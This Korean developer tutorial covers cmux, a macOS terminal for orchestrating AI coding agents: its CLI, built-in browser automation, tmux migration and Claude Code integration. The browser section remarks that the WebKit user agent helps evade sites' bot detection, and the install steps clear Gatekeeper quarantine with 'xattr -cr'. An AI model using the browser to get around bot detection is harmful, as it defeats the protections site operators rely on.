브라우저 자동화가 불가 - 개발 서버의 UI를 확인하려면 별도 브라우저+Playwright 설정이 필요
사이드바 상태 표시 없음 - 어떤 에이전트가 어떤 작업 중인지 한눈에 파악 불가
프로그래밍 API 부재 - capture-pane 출력을 파싱하는 것이 주요 통신 수단
Git/PR 상태 연동 없음 - 워크스페이스별 브랜치, PR 번호 표시 불가

cmux는 이 모든 문제를 "AI 에이전트를 위해 터미널을 다시 만들자"라는 관점에서 해결한다.

tmux vs cmux 비교

구분	tmux	cmux
플랫폼	Linux/macOS/Windows(WSL)	macOS 14+ 전용
UI	TUI (텍스트 기반)	네이티브 GUI (사이드바, 탭)
내장 브라우저	없음	WebKit 내장 (DOM 조작, 스크린샷)
알림 시스템	없음	사이드바 뱃지, 진행률, 알림
세션 지속성	detach/reattach (SSH 생존)	앱 재시작 시 레이아웃 복원 (프로세스는 미복원)
프로그래밍 API	제한적 (control mode)	Unix socket JSON-RPC + 풍부한 CLI
AI 에이전트 지원	범용 (특화 기능 없음)	Claude/Codex/Gemini 병렬 실행 최적화
원격 서버	SSH에서 동작	로컬 macOS 전용 (SSH 불가)

tmux를 완전히 버려야 할까?

아니다. tmux는 SSH 원격 서버 작업, CI/CD 환경, Linux 서버에서 여전히 필수다. cmux는 로컬 macOS에서 AI 에이전트를 운용하는 시나리오에 특화되어 있다. 두 도구는 경쟁이 아닌 보완 관계다.

2. 설치 및 환경 확인

Homebrew 설치 (권장)

# Homebrew로 설치

brew tap manaflow-ai/cmux
brew install --cask cmux

# CLI를 시스템 전역에서 사용하려면 (선택)

sudo ln -sf "/Applications/cmux.app/Contents/Resources/bin/cmux" /usr/local/bin/cmux

Homebrew가 없거나 tap이 안 될 경우, GitHub Releases에서 DMG를 직접 받아도 된다.

macOS 보안 경고 (Gatekeeper)

처음 실행할 때 "확인되지 않은 개발자" 경고가 뜰 수 있다.

Gatekeeper 해결 방법
시스템 설정 > 개인정보 보호 및 보안 > 하단 "확인 없이 열기" 클릭. 또는 터미널에서:
xattr -cr /Applications/cmux.app

설치 확인

cmux 앱을 실행한 후, 터미널에서 다음 명령어로 환경을 확인한다.

# 버전 확인

$ cmux version
cmux 0.62.2 (77) [6c203b514]

# 환경변수 확인 (cmux 터미널 내에서 실행)

$ echo $CMUX_WORKSPACE_ID
9A5E82C8-296F-467D-B07E-58B75F49D52E    # 값은 환경마다 다름

$ echo $CMUX_SURFACE_ID
89FA79ED-C36D-4325-A1F1-6D3118073A21    # 값은 환경마다 다름

$ echo $CMUX_SOCKET_PATH
~/Library/Application Support/cmux/cmux.sock

# 현재 컨텍스트 확인

$ cmux identify
{
  "caller": {
    "tab_ref": "tab:1",
    "is_browser_surface": false,
    "pane_ref": "pane:1",
    ...
  }
}

환경변수가 설정되어 있다면 cmux 터미널 내에서 실행 중인 것이다.

CMUX_WORKSPACE_ID와 CMUX_SURFACE_ID가 자동 설정되므로, 대부분의 cmux 명령어에서 --workspace와 --surface 플래그를 생략할 수 있다. 이것이 cmux의 핵심 편의 기능 중 하나다.

3. 핵심 개념: 계층 구조와 환경변수

cmux의 모든 것은 4단계 계층 구조로 이해할 수 있다.

Window                          (앱 윈도우)
  └── Workspace                 (사이드바 탭 — git 브랜치, PR 상태 표시)
        └── Pane                (분할 영역)
              └── Surface       (터미널 탭 또는 브라우저 패널)

화면 왼쪽에 사이드바가 있고, 오른쪽이 터미널 영역이다. cmux의 계층 구조를 실제 UI에 매핑하면 이렇다.

계층	설명	참조 형식	비유
Window	앱 윈도우	`window:1`	건물
Workspace	사이드바의 각 탭 (프로젝트 단위)	`workspace:1`	층(Floor)
Pane	워크스페이스 내 분할 영역	`pane:1`	방(Room)
Surface	패인 내 터미널/브라우저 탭	`surface:1` 또는 UUID	책상(Desk)

환경변수 자동 설정

`CMUX_WORKSPACE_ID`	현재 워크스페이스 ID. 모든 명령의 기본 `--workspace`
`CMUX_SURFACE_ID`	현재 서피스 ID. 모든 명령의 기본 `--surface`
`CMUX_SOCKET_PATH`	Unix 소켓 경로 (기본: `~/Library/Application Support/cmux/cmux.sock`)

4. 기본 CLI 명령어 레퍼런스

아래 명령어는 모두 cmux --help (v0.62.2) 출력에서 직접 검증한 것이다.

워크스페이스 관리

# 새 워크스페이스 생성 (사이드바에 탭 추가)

cmux new-workspace [--cwd /path/to/project] [--command "npm run dev"]

# 워크스페이스 이름 변경

cmux rename-workspace "my-project"

# 워크스페이스 목록 / 트리 구조 / 현재 워크스페이스

cmux list-workspaces
cmux tree [--all]
cmux current-workspace

# 워크스페이스 전환 / 닫기

cmux select-workspace --workspace workspace:2
cmux close-workspace --workspace workspace:2

ex) cmux new-workspace

ex) cmux rename-workspace "dev"

ex) cmux list-workspaces

ex) cmux tree [--all]

패인 분할과 서피스

# 패인 분할 (left, right, up, down)

cmux new-split right
cmux new-split down

# 새 서피스(탭) 추가 — 터미널 또는 브라우저

cmux new-surface                               # 터미널 탭
cmux new-surface --type browser --url https://localhost:3000  # 브라우저 탭

# 패인/서피스 목록 및 닫기

cmux list-panes
cmux list-pane-surfaces
cmux close-surface --surface surface:2

ex) 패인 분할 right : cmux new-split right

ex) 패인 분할 down : cmux new-split down

ex) cmux new-surface

ex) cmux new-surface --type browser --url https://localhost:3000

ex) 나머진.. 직접 해보시면 좋을 것 같다. 안해도 된다. ( AI에게 공식 문서, 문법을 잘 가이드만 해도 알아서 잘 쓴다. )

텍스트 전송과 출력 캡처

# 현재 서피스에 텍스트 전송 (\n = Enter)

cmux send "npm run dev\n"

# 특정 서피스에 전송

cmux send --surface surface:2 "npm test\n"

# 키 전송 (enter, ctrl+c, tab, escape 등)

cmux send-key ctrl+c
cmux send-key --surface surface:2 enter

# AI 에이전트 핵심 기능!

cmux read-screen --lines 30               # 최근 30줄
cmux read-screen --scrollback              # 전체 스크롤백 버퍼
cmux capture-pane --surface surface:2 --lines 50  # tmux 호환 별칭

5. AI 에이전트 핵심

AI 에이전트에게 핵심적인 기능은 다른 패인에서 실행 중인 프로세스의 출력을 읽는 것이다. tmux에서는 tmux capture-pane이 유일한 방법이었는데, cmux는 이를 더 풍부하게 제공한다.

read-screen / capture-pane

# read-screen: 서피스의 터미널 출력 읽기

cmux read-screen                              # 현재 서피스
cmux read-screen --surface surface:2 --lines 50  # 특정 서피스, 최근 50줄
cmux read-screen --scrollback                  # 전체 스크롤백

# capture-pane: tmux 호환 별칭 (동일 기능)

cmux capture-pane --surface surface:2 --lines 50

ex) 왼쪽 패인에서 오른쪽 패인 읽기

다른 터미널 탭에서 뭐가 돌아가고 있는지를 코드 한 줄로 읽어왔다. AI 에이전트가 이걸 쓰면 "백엔드 서버 로그를 읽어서 에러를 파악하고, 프론트엔드 코드를 수정"하는 흐름이 가능해진다.

send: 다른 터미널에 명령 보내기

ex) 왼쪽 패인에서 오른쪽 패인에 명령 전송

wait-for: 시그널 기반 동기화

tmux에서도 tmux wait-for이 있었지만, cmux의 wait-for는 타임아웃을 지원하여 더 안전하다.

# 패턴 1: 시그널 기반 동기화

# 대기 측 (에이전트 A)
cmux wait-for build-done --timeout 60

# 시그널 측 (에이전트 B, 빌드 완료 후)
cmux wait-for -S build-done

# 패턴 2: 폴링 기반 대기 (특정 출력 감지)

# "ready" 문자열이 나올 때까지 대기
while ! cmux read-screen --surface surface:2 --lines 10 | grep -q "ready"; do
  sleep 1
done
echo "서비스 준비 완료!"

find-window: 내용으로 서피스 검색

# 터미널 내용으로 서피스 찾기

cmux find-window --content "error" --select    # "error"가 포함된 서피스로 이동
cmux find-window "npm"                         # "npm" 관련 서피스 검색

안정적인 서피스 타깃팅 패턴 (운영 권장)

에이전트가 하드코딩된 surface:2 같은 번호 대신 identify + list-pane-surfaces로 동적으로 타깃을 찾는 패턴이 운영 환경에서 더 안정적이다. 워크스페이스 구조가 달라져도 깨지지 않는다.

# Step 1: 현재 컨텍스트 파악

cmux identify          # 현재 workspace/pane/surface 확인 (JSON)
cmux tree --all        # 전체 계층 구조 한눈에 확인

# Step 2: 대상 패인의 서피스 목록 확인

cmux list-pane-surfaces --pane pane:2    # pane:2의 탭 목록
# → surface:3 [terminal], surface:4 [browser] 형태로 반환

# Step 3: 확인된 ref로 정확히 타깃

cmux read-screen --surface surface:3 --lines 30
cmux send --surface surface:3 "npm test\n"

6. 내장 브라우저 자동화

cmux의 주요 기능 중 하나는 WebKit 기반 내장 브라우저다. 별도의 Playwright나 Selenium 없이도 터미널에서 바로 웹 페이지를 조작할 수 있다. WebKit을 사용하므로 Safari 유저에이전트로 동작하며, 이는 Chromium 기반 도구가 흔히 맞닥뜨리는 봇 감지를 우회하는 데도 유리하다.

(출처: cmux PROJECTS.md | 브라우저 API 원작: vercel-labs/agent-browser)

브라우저 명령어 구조
cmux browser [--surface <ref>] <subcommand> [args]
대부분의 조작 명령에 --snapshot-after 플래그를 붙이면 조작 후 DOM 스냅샷을 자동 반환한다.

네비게이션

cmux browser open http://localhost:3000         # 브라우저 패인 생성 + URL 열기 (현재 패인에 탭 추가)
cmux browser open-split http://localhost:3000   # 화면을 가로로 분할하여 브라우저 패인 생성
cmux browser goto http://localhost:3000/login   # 현재 브라우저에서 이동
cmux browser back                               # 뒤로
cmux browser forward                            # 앞으로
cmux browser reload                             # 새로고침
cmux browser url                                # 현재 URL 확인

DOM 조작

# DOM 스냅샷 (접근성 트리 기반, AI 에이전트에 최적)

cmux browser snapshot -i                       # --interactive: 안정적 요소 참조 반환

# 클릭, 입력, 체크

cmux browser click "button#submit" --snapshot-after
cmux browser fill "input[name='email']" "user@example.com" --snapshot-after
cmux browser type "#search" "검색어"
cmux browser check "input[type='checkbox']"
cmux browser select "#country" "KR"

# 값 추출

cmux browser get text "h1"                     # 텍스트 추출
cmux browser get html ".content"               # HTML 추출
cmux browser get value "input#name"            # input 값
cmux browser get title                         # 페이지 제목
cmux browser is visible ".modal"               # 요소 가시성 확인

ex) cmux browser screenshot --out ~/Desktop/cmux-browser-test.png

ex) cmux browser snapshot -i

ex) cmux browser eval "document.title"

대기와 JavaScript

# 요소/텍스트/URL 대기

cmux browser wait --selector ".loaded"              # CSS 셀렉터 대기
cmux browser wait --text "Welcome"                  # 텍스트 출현 대기
cmux browser wait --url-contains "/dashboard"       # URL 변경 대기
cmux browser wait --load-state complete             # 페이지 로드 대기
cmux browser wait --timeout-ms 5000                 # 타임아웃 지정

# JavaScript 실행

cmux browser eval "document.title"
cmux browser eval "document.querySelectorAll('li').length"

# 스크린샷

cmux browser screenshot --out ./capture.png

7. 사이드바: 알림, 진행률, 상태 표시

cmux의 사이드바는 각 워크스페이스의 상태를 실시간으로 보여준다. AI 에이전트가 진행 상황을 시각적으로 리포트하는 데 활용할 수 있다.

# 데스크톱 알림

cmux notify --title "빌드 완료" --body "3분 소요" --subtitle "frontend"

# 사이드바 로그 (level: info, progress, success, warning, error)

cmux log --level success --source "test" "42/42 테스트 통과"
cmux log --level error --source "build" "TypeScript 컴파일 실패"

# 진행률 바

cmux set-progress 0.75 --label "빌드 진행 중..."
cmux clear-progress

# 상태 표시 (사이드바 배지)

cmux set-status "phase" "testing" --icon "sparkle" --color "#28a745"
cmux clear-status "phase"

ex) 알림 및 상태 표시

마크다운 뷰어

사이드바 영역과 함께 유용한 유틸리티 명령으로 cmux markdown이 있다. 터미널 내에서 마크다운 파일을 렌더링하여 볼 수 있다.

# 마크다운 파일 렌더링 (cmux 서피스 내 뷰어로 표시)

cmux markdown ./README.md
cmux markdown open ./docs/guide.md    # 새 서피스에서 열기

AI 에이전트가 문서를 생성한 뒤 즉시 렌더링 결과를 확인하거나, CLAUDE.md 같은 설정 파일을 사람이 읽기 좋게 표시할 때 활용할 수 있다.

ex) cmux markdown ./README.md

ex) cmux markdown open ./README.md

8. tmux에서 cmux로 마이그레이션

기존 tmux 스크립트나 워크플로우를 cmux로 변환할 때 참고하는 매핑 테이블이다.

모든 cmux 명령은 cmux --help 및 cmux browser --help (v0.62.2) 출력에서 검증했다.

tmux 명령	cmux 명령
`tmux new-session -d -s name`	`cmux new-workspace` + `cmux rename-workspace name`
`tmux split-window -v / -h`	`cmux new-split down / right`
`tmux send-keys -t %1 "cmd" C-m`	`cmux send --surface surface:1 "cmd\n"`
`tmux capture-pane -t %1 -p`	`cmux capture-pane --surface surface:1`
`tmux kill-session -t name`	`cmux close-workspace --workspace workspace:1`
`tmux list-panes`	`cmux list-panes` / `cmux tree`
`tmux wait-for channel`	`cmux wait-for channel --timeout 30`
`tmux resize-pane -D 10`	`cmux resize-pane --pane pane:1 -D --amount 10`
`tmux pipe-pane "cat > log"`	`cmux pipe-pane --command "cat > log"`
(없음)	`cmux browser open URL` (내장 브라우저)
(없음)	`cmux identify` (현재 컨텍스트 확인)
(없음)	`cmux notify / log / set-progress` (알림)

Best Practice: tmux + cmux 조합 사용

두 도구는 대체재가 아니라 보완재다. (현재 까지는 그렇게 보인다. )

원격 서버: tmux로 세션을 유지하고 프로세스를 관리한다. SSH 연결이 끊겨도 작업이 살아있다.
로컬 개발: cmux에서 AI 에이전트를 오케스트레이션한다. 브라우저, 알림, 크로스 세션 API를 활용한다.
연결: cmux의 Surface 안에서 ssh server && tmux attach로 원격 tmux 세션에 접속하면, 양쪽의 장점을 모두 활용할 수 있다.

9. 실전: Claude Code + cmux 연동

cmux 안에서 Claude Code를 실행하고, Claude가 cmux CLI를 통해 다른 터미널의 상태를 직접 확인하는 것을 체험한다.

환경 준비

# 왼쪽 패인: Claude Code 실행
claude

# 오른쪽 패인: 간단한 서버 또는 프로세스 실행
python3 -m http.server 8000

Claude에게 cmux 사용 요청

Claude Code에게 다른 패인의 상태를 확인해달라고 요청한다.

Claude에게 보낸 프롬프트 예시
"오른쪽 패인(surface:4)에서 서버가 돌아가고 있어. cmux read-screen으로 서버 로그를 읽어서 상태를 알려줘."

많은 사용기에서 AI 에이전트가 초기에 cmux를 tmux로 오인하는 경우가 있다고 보고된다. 이를 방지하려면 프로젝트 루트의 CLAUDE.md에 "이 환경은 cmux입니다. tmux가 아닌 cmux CLI를 사용하세요."를 추가해두는 것이 좋다.

최종 원하는 내용 출력 완료

이 전체 과정에서 탭을 전환하지 않았다
Claude Code가 cmux CLI를 통해 다른 터미널의 출력을 직접 읽고, 분석하고, 필요하면 명령을 직접 보내는 것까지 가능하다.

ex) 이외 내가 테스트 했던 내역들 참고

- 좌측 페인 : 클로드 코드 / 우측 페인 : 클로드 코드가 조작하는 영역

- 좌측 페인 : 클로드 코드 / 우측 페인 : 브라우저 / 좌측 하단 페인 : 신규 터미널(미캡쳐)

10. 실습 : 멀티에이전트 병렬 실행

cmux를 활용하면 여러 AI 에이전트를 병렬로 실행하고, 각각의 상태를 모니터링할 수 있다.

시나리오: 3개 에이전트 병렬 리서치

#!/bin/bash

# Step 1: 에이전트별 워크스페이스 생성

cmux new-workspace --command "claude 'React 19 새 기능을 조사해줘'"
cmux rename-workspace "agent-react"

cmux new-workspace --command "claude 'Next.js 15 마이그레이션 가이드를 작성해줘'"
cmux rename-workspace "agent-nextjs"

cmux new-workspace --command "claude 'TypeScript 5.5 변경사항을 정리해줘'"
cmux rename-workspace "agent-typescript"

# Step 2: 진행 상황 모니터링

cmux read-screen --workspace workspace:2 --lines 5
cmux read-screen --workspace workspace:3 --lines 5
cmux read-screen --workspace workspace:4 --lines 5

# Step 3: 특정 에이전트 출력에서 결과 찾기

cmux find-window --content "완료" --select

cmux claude-teams 명령

cmux v0.62.2에는 cmux claude-teams [claude-args...] 명령이 내장되어 있다.
이는 CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 환경변수를 설정하고 tmux 호환 심(shim)을 PATH에 자동 주입하여 Agent Teams 모드를 활성화하는 통합 명령이다.

ex) cmux claude-teams 를 통해 'FizzBuzz 함수를 Python, JS, Go 세 가지로 구현하고 각각 파일로 저장해줘'

- 작업이 다 끝나고 메인 Agent에서 응답 결과 대기중 / 알아서 3개의 surface를 닫아 버렸다.

- 다 끝났다는 시그널을 인지하지 못한거 같아서 확인

- 아직 claude가 cmux의 사용법을 잘 알지 못하여 따로 기록 중 이다.

- cmux claude-team 을 사용하여 아무튼 완료된 모습

11. 실습 : 개발서버 + 브라우저 E2E 검증

Playwright 없이도 cmux의 내장 브라우저로 간단한 E2E 검증이 가능하다.

#!/bin/bash

# Step 1: 개발서버 시작 (분할 패인)

cmux new-split right
cmux send --surface surface:2 "cd my-app && npm run dev\n"

# Step 2: 서버 준비 대기

while ! cmux read-screen --surface surface:2 --lines 10 | grep -q "ready"; do
  sleep 1
done
echo "개발서버 준비 완료!"

# Step 3: 브라우저에서 검증

cmux browser open http://localhost:3000
cmux browser wait --text "Welcome" --timeout-ms 10000
cmux browser snapshot -i
cmux browser fill "input[name='email']" "test@example.com"
cmux browser fill "input[name='password']" "test1234"
cmux browser click "button[type='submit']" --snapshot-after
cmux browser wait --url-contains "/dashboard" --timeout-ms 5000
cmux browser get text "h1"    # "Dashboard"가 출력되면 성공

# Step 4: 정리

cmux send-key --surface surface:2 ctrl+c
cmux close-surface --surface surface:2

- 이 부분도 추후 충분히 테스트 하고 갱신 예정.

12. Claude Code / OMC 사용시 경험 공유

Claude Code와 oh-my-claudecode(OMC)를 cmux에서 사용할 때 상충 되는 부분이 있었다.

나의 경우 omc를 사용할때 특히 cmux 스폰이 잘 안되어 다음 과 같은 규칙을 추가 해서 cmux 를 사용 하도록 우회 하였다.

( 아직 잘 만들어지고, 검증된 cmux관련 skills가 없다보니 나름 고민하고 적용해 보았다. )

OMC Teams와 tmux 의존성

주의: OMC 내부는 tmux를 직접 호출한다

OMC의 팀 시스템은 Node.js의 execFile('tmux', args)로 tmux를 직접 호출한다. 따라서 /team이나 /omc-teams 명령을 사용하려면 tmux가 여전히 설치되어 있어야 한다. cmux는 에이전트가 수동으로 터미널을 조작하는 경우에 사용한다.

Claude Code Hook 연동

# Claude Code 세션 이벤트를 사이드바에 반영

cmux claude-hook session-start    # 세션 시작 시
cmux claude-hook stop              # 세션 종료 시
cmux claude-hook notification      # 알림 발생 시

전역 규칙 파일 설정

# ~/.claude/rules/cmux-guide.md에 가이드 배치

# cmux 터미널 환경 — AI 에이전트 규칙
# tmux 대신 cmux CLI를 사용하세요.
# 핵심 명령어: read-screen, capture-pane, browser, wait-for
# 환경변수: CMUX_WORKSPACE_ID, CMUX_SURFACE_ID (자동 설정)

cmux 감지 + tmux 폴백 패턴

# cmux가 있으면 cmux 사용, 없으면 tmux 폴백
if command -v cmux &>/dev/null && [ -n "$CMUX_WORKSPACE_ID" ]; then
  cmux new-split right
  cmux send --surface surface:2 "npm run dev\n"
else
  tmux split-window -h
  tmux send-keys "npm run dev" C-m
fi

13. 경쟁 도구 생태계 (Claude Squad, Pane, Amux, Calyx 비교)

cmux와 비슷한 영역의 도구들을 비교한다 (2026년 3월, 각 프로젝트 README 기준).

항목	cmux	Claude Squad	Pane	Amux	Calyx
기반 기술	Ghostty(libghostty) + Swift	tmux 기반 Go 래퍼	자체 터미널 에뮬레이터 (AGPL-3.0)	tmux 기반 Python 래퍼	macOS native (Ghostty 기반)
플랫폼	macOS (공식)	macOS, Linux	macOS, Linux, Windows	tmux 지원 환경	macOS (macOS 26+)
브라우저 내장	O (WebKit)	X	X	X	X
에이전트 API	전용 CLI (identify, read-screen, send, notify)	tmux send-keys 기반	자체 API	tmux send-keys 기반	GUI 기반 관리
특징	GPU 가속, 알림 시스템, 에이전트 불가지론적	다중 에이전트 관리, git worktree 연동	크로스플랫폼, 내장 git workflow 탭	웹 대시보드, REST API	Liquid Glass UI, macOS 26 네이티브

위 비교는 2026년 3월 기준. 참고: Claude Squad, Pane, Amux, Calyx.

"Primitive, Not Solution" 철학

경쟁 도구와 cmux의 큰 차이는 "조합 가능한 프리미티브(Composable Primitives)" 철학이다. Claude Squad나 Amux가 완성된 솔루션을 지향한다면, cmux는 read-screen, send, notify 같은 원자적 빌딩 블록을 제공하고, 조합은 사용자와 에이전트에 맡긴다. Unix 철학의 "한 가지 일을 잘 하는 도구"와 맞닿아 있다.

경쟁 구도: Calyx의 등장

구분	cmux	Calyx
기반	libghostty + Swift/AppKit	libghostty + Tauri/React
UI 특징	네이티브 macOS, 세로 탭	Liquid Glass UI (macOS 26 디자인)
에이전트 연동	Unix Socket CLI API	내장 MCP 서버
성숙도	v0.62.2, 9.9k+ Stars	초기 단계, 신규 프로젝트
라이선스	AGPL-3.0 (상용 라이선스 별도)	MIT
최소 OS	macOS 14+ (Sonoma)	macOS 26+ (Tahoe) — 최신 OS 필요

(참고: DEV Community — Calyx vs cmux)

14. 커뮤니티 반응

cmux는 2026년 3월 현재 GitHub 9.9k+ Stars를 기록하며 빠르게 성장 중이다. 최근 3일(3월 15~18일)에만 90개 이상의 커밋이 머지되었다.

"I just discovered the BEST terminal for AI agents: 'Cmux'. Horizontal tabs, vertical tabs, web view built-in, notifications when the agent finishes, live agent status. As a heavy Claude Code user, this is a game changer."
(AI 에이전트를 위한 최고의 터미널 'Cmux'를 발견했다. Claude Code 헤비 유저로서, 이건 게임 체인저다.)

— @melvynxdev (~14,500 views, ~152 reposts)

"tmux grids are awesome, but I feel a need to have a proper 'agent command center' IDE for teams of them, which I could maximize per monitor."
(에이전트 팀을 모니터별로 최대화할 수 있는 '에이전트 커맨드 센터' IDE가 필요하다.)

— @karpathy (Andrej Karpathy)

Karpathy의 이 트윗에 cmux 공동 창립자 Lawrence Chen이 직접 답변하며 cmux의 tmux 호환 레이어와 네이티브 스플릿/탭 기능을 소개했다. (출처: Lawrence Chen 답변 트윗)

"I love cmux. If you're running AI coding agents you need this terminal. Ghostty-based, vertical tabs, built-in browser, and a unix socket API that lets you script everything." — (출처: X)
"Claude Code just became unstoppable with Cmux!"
"Conductor, Superset, or cmux. Which should you use?" — cmux가 에이전트 터미널 3강 구도에 포함 (출처: X)

Hacker News: 안정성 지적도 등장

"I switched to cmux for a while, but had to switch back to Ghostty due to its unreliability, high memory and CPU usage and a bunch of bugs."
(cmux를 한동안 썼지만, 불안정성과 높은 메모리/CPU 사용량 때문에 다시 Ghostty로 돌아가야 했다.)

— tekacs, HN "Show HN: Horizon" 토론, 2026-03-17

전체 감정 분석 (2026년 3월 기준)

긍정 (~80%)	"Game changer", Claude Code 필수 동반자, 에이전트 시대 정의
중립 (~10%)	경쟁 도구와의 비교 탐색, 관망
부정 (~10%)	안정성/메모리 이슈, AGPL 라이선스 우려, macOS 전용

(참고: 개발자 커뮤니티 종합, 2026-03-18 기준)

15. 제한사항과 미래 전망

현재 제한사항

macOS 전용: Swift + AppKit 기반이라 Linux/Windows 공식 지원 없음 (커뮤니티 포트 존재)
세션 복원의 한계: 레이아웃, 디렉토리, 스크롤백, 브라우저 URL은 복원되지만, 실행 중이던 프로세스는 복원되지 않는다
SSH 환경 미지원: GUI 앱이므로 헤드리스 서버에서 사용 불가 (tmux가 여전히 필수)
초기 단계: v0.62.2로 아직 1.0 이전, breaking change 가능성
AGPL-3.0 라이선스: 상용 통합 시 라이선스 조건 확인 필요
WKWebView 기반: DOM 조작, 스크린샷 등은 가능하지만, CDP 전용 기능(CPU/메모리 프로파일링 등)은 불가
소켓 간헐적 불안정: v0.62.x에서 "Connection refused" 발생 가능 (재시도로 해결)
화면 스크래핑 방식: read-screen은 화면에 렌더링된 텍스트를 읽는 RPA 방식이다. CLI 출력 형식이 바뀌면 파싱이 깨질 수 있다.

세션 복원에 대한 오해 방지

cmux의 세션 복원은 레이아웃과 컨텍스트를 복원하는 것이지, 실행 중이던 서버나 프로세스를 다시 시작해주는 것은 아니다.

(출처: cmux README — Session Restore)

미래 전망

크로스 플랫폼: 커뮤니티 Linux/Windows 포트가 이미 존재. 공식 채택 여부는 미정
에이전트 간 통신: 현재 단방향 read/send에서 양방향 메시지 교환으로 발전 가능
Ghostty 엔진: libghostty가 계속 발전 중이라 렌더링 개선이 자동 반영
터미널 vs IDE: Cursor 같은 AI IDE와의 공존 방식은 사용자 선택에 달린 문제

cmux는 도구 하나가 아니라 '개념의 신호탄'이다. "터미널끼리 말하게 하라"는 방향은 계속 확산될 것이다. cmux 창시자는 이 철학을 "a primitive, not a solution"으로 표현한다.

16. 트러블슈팅

문제	해결
`cmux: command not found`	cmux 앱 실행 확인. CLI 링크: `sudo ln -sf "/Applications/cmux.app/Contents/Resources/bin/cmux" /usr/local/bin/cmux`
소켓 연결 실패 (Connection refused)	cmux 앱 실행 확인 후 재시작. 소켓: `~/Library/Application Support/cmux/cmux.sock`
iTerm2에서 `CMUX_WORKSPACE_ID` 없음	환경변수는 cmux 터미널 내에서만 자동 설정됨
브라우저 열기 불안정	2단계로 분리: `cmux browser open` 후 `sleep 1 && cmux browser goto URL`
SSH 서버에서 cmux 사용 불가	macOS 네이티브 앱이므로 SSH 불가. 원격은 tmux 사용
OMC `/team`이 cmux 안 쓰는 이유	OMC 내부가 tmux를 직접 호출. npm 패키지라 변경 불가
Ghostty 설정 충돌	`~/.config/ghostty/config`를 cmux가 읽음. 문제 시 해당 라인 주석 처리
macOS 보안 경고 (Gatekeeper)	시스템 설정 > 보안 > "확인 없이 열기" 또는 `xattr -cr /Applications/cmux.app`

17. 자주 묻는 질문 (FAQ)

Q1. cmux는 무료인가요?

cmux 코어는 AGPL-3.0 오픈소스로 무료다. 별도의 "Founder's Edition" 유료 구독이 있으며, 우선 지원, AI 기능 조기 접근, iOS 앱, 클라우드 VM 등을 제공한다. (출처: cmux GitHub — License)

Q2. Ghostty를 별도 설치해야 하나요?

아니다. cmux는 libghostty를 임베드하고 있어 별도 설치 불필요. 다만, Ghostty 설정 파일(~/.config/ghostty/config)이 있으면 cmux가 읽어서 테마/폰트를 적용한다.

Q3. iTerm2나 Warp 대신 cmux를 써야 하나요?

AI 에이전트를 많이 쓰는 개발자라면 cmux가 유리하다. 에이전트 없이 일반 터미널 작업만 한다면 iTerm2나 Warp의 안정성이 더 높다. 에이전트 활용 여부가 선택 기준.

Q4. tmux와 cmux를 동시에 사용할 수 있나요?

가능하다. cmux Surface 안에서 tmux 세션을 실행할 수 있다. 다만 read-screen이 읽는 내용은 tmux가 렌더링한 화면이 되므로, 에이전트 API의 효용성은 다소 줄어들 수 있다.

Q5. 업데이트가 너무 잦은데 안정적인가요?

약 7주 만에 v0.62.2까지 도달, 24개 이상 릴리스. 안정성이 중요하면 brew pin cmux로 버전을 고정하거나, CHANGELOG에서 breaking change 확인 후 업데이트를 권한다.

Q6. Claude Code가 cmux를 tmux로 착각하는 경우?

프로젝트 CLAUDE.md에 "이 환경은 cmux입니다. tmux가 아닌 cmux CLI를 사용하세요."를 추가하면 된다. 대부분 한두 번 사용 후 자동 인식한다. (참고: 섹션 9 스크린샷)

Q7. 여러 AI 에이전트를 동시에 운영할 수 있나요? (리더-워커 패턴)

가능하다. 리더-워커 패턴이 커뮤니티에서 검증된 구성이다. 리더 에이전트가 cmux read-screen으로 워커 에이전트를 모니터링하고, cmux send로 수정 명령을 전달한다. 리소스 격리가 필요하면 Docker 컨테이너 활용을 권장한다. (출처: HN 창시자 코멘트)

18. AI 에이전트가 cmux를 제대로 쓰게 하는 방법 고민.... — SKILL.md

cmux를 실제로 쓰다 보면 한 가지 공통된 문제를 만난다. Claude, Codex 등 AI 에이전트들이 cmux 대신 tmux 명령을 생성하는 것이다.

이름이 비슷하고, 훈련 데이터에 tmux가 훨씬 많기 때문에 에이전트가 자연스럽게 tmux로 fallback한다.

이를 해결하는 방법 중 하나가 SKILL.md 기반 커스텀 워크플로우다. 이는 Claude Code의 공식 내장 기능은 아니다.

나의 경우 몇가지 고민 중 .claude/skills/cmux/SKILL.md 파일을 만들어두면, Claude Code가 세션 시작 시 이를 로드해 에이전트에게 "이 환경은 tmux가 아닌 cmux. 다음 CLI를 써라"를 명시적으로 주입하였다. 필요할 때는 /cmux로 직접 호출해 컨텍스트를 강제로 올릴 수도 있다.

실제 경험: 이 글을 작성하고 검증하는 과정에서 cmux SKILL.md를 직접 활용했다. Claude Code가 cmux browser screenshot, cmux read-screen, cmux identify 등을 정확하게 실행한 것은 SKILL.md가 컨텍스트에 로드되어 있었기 때문이다. SKILL.md 없이 같은 작업을 하면 AI가 tmux capture-pane처럼 존재하지 않는 명령을 생성하는 경우가 빈번하다.

설치 방법

프로젝트 루트 또는 .claude/skills/cmux/ 디렉토리에 SKILL.md를 생성한다.

# 프로젝트 로컬 스킬 디렉토리 생성

mkdir -p .claude/skills/cmux
# SKILL.md 파일 작성 (아래 내용 참고)
vim .claude/skills/cmux/SKILL.md

파일이 존재하면 Claude Code가 세션 시작 시 자동으로 로드한다. /cmux로 직접 호출하거나, 에이전트가 cmux 명령이 필요할 때 자동으로 참조한다.

SKILL.md 핵심 구성

cmux SKILL.md에 담아야 할 핵심 내용은 다음 5가지다.

# 1. 계층 구조 명시 (에이전트가 자주 혼동하는 부분)

Window > Workspace(사이드바 탭) > Pane(분할) > Surface(터미널/브라우저 탭)

# 2. 환경 변수 (cmux 터미널 내 자동 설정)

CMUX_WORKSPACE_ID, CMUX_SURFACE_ID, CMUX_SOCKET_PATH
# --workspace / --surface 생략 가능 (현재 컨텍스트 자동 참조)

# 3. 핵심 명령어 테이블 (탐색 / 생성 / 전송·캡처)

cmux identify              # 현재 컨텍스트 (JSON)
cmux tree [--all]          # 전체 계층 트리
cmux read-screen           # 출력 읽기 (AI 핵심)
cmux send "text\n"         # 텍스트 전송 (\n = Enter)
cmux browser snapshot -i   # DOM 스냅샷

# 4. tmux → cmux 변환 규칙

tmux send-keys -t P "cmd" C-m  →  cmux send --surface P "cmd\n"
tmux capture-pane -t P -p      →  cmux capture-pane --surface P

# 5. 주의사항 (SSH/CI에서는 cmux 불가)

command -v cmux >/dev/null || tmux ...   # 폴백 처리

실제 사용 패턴

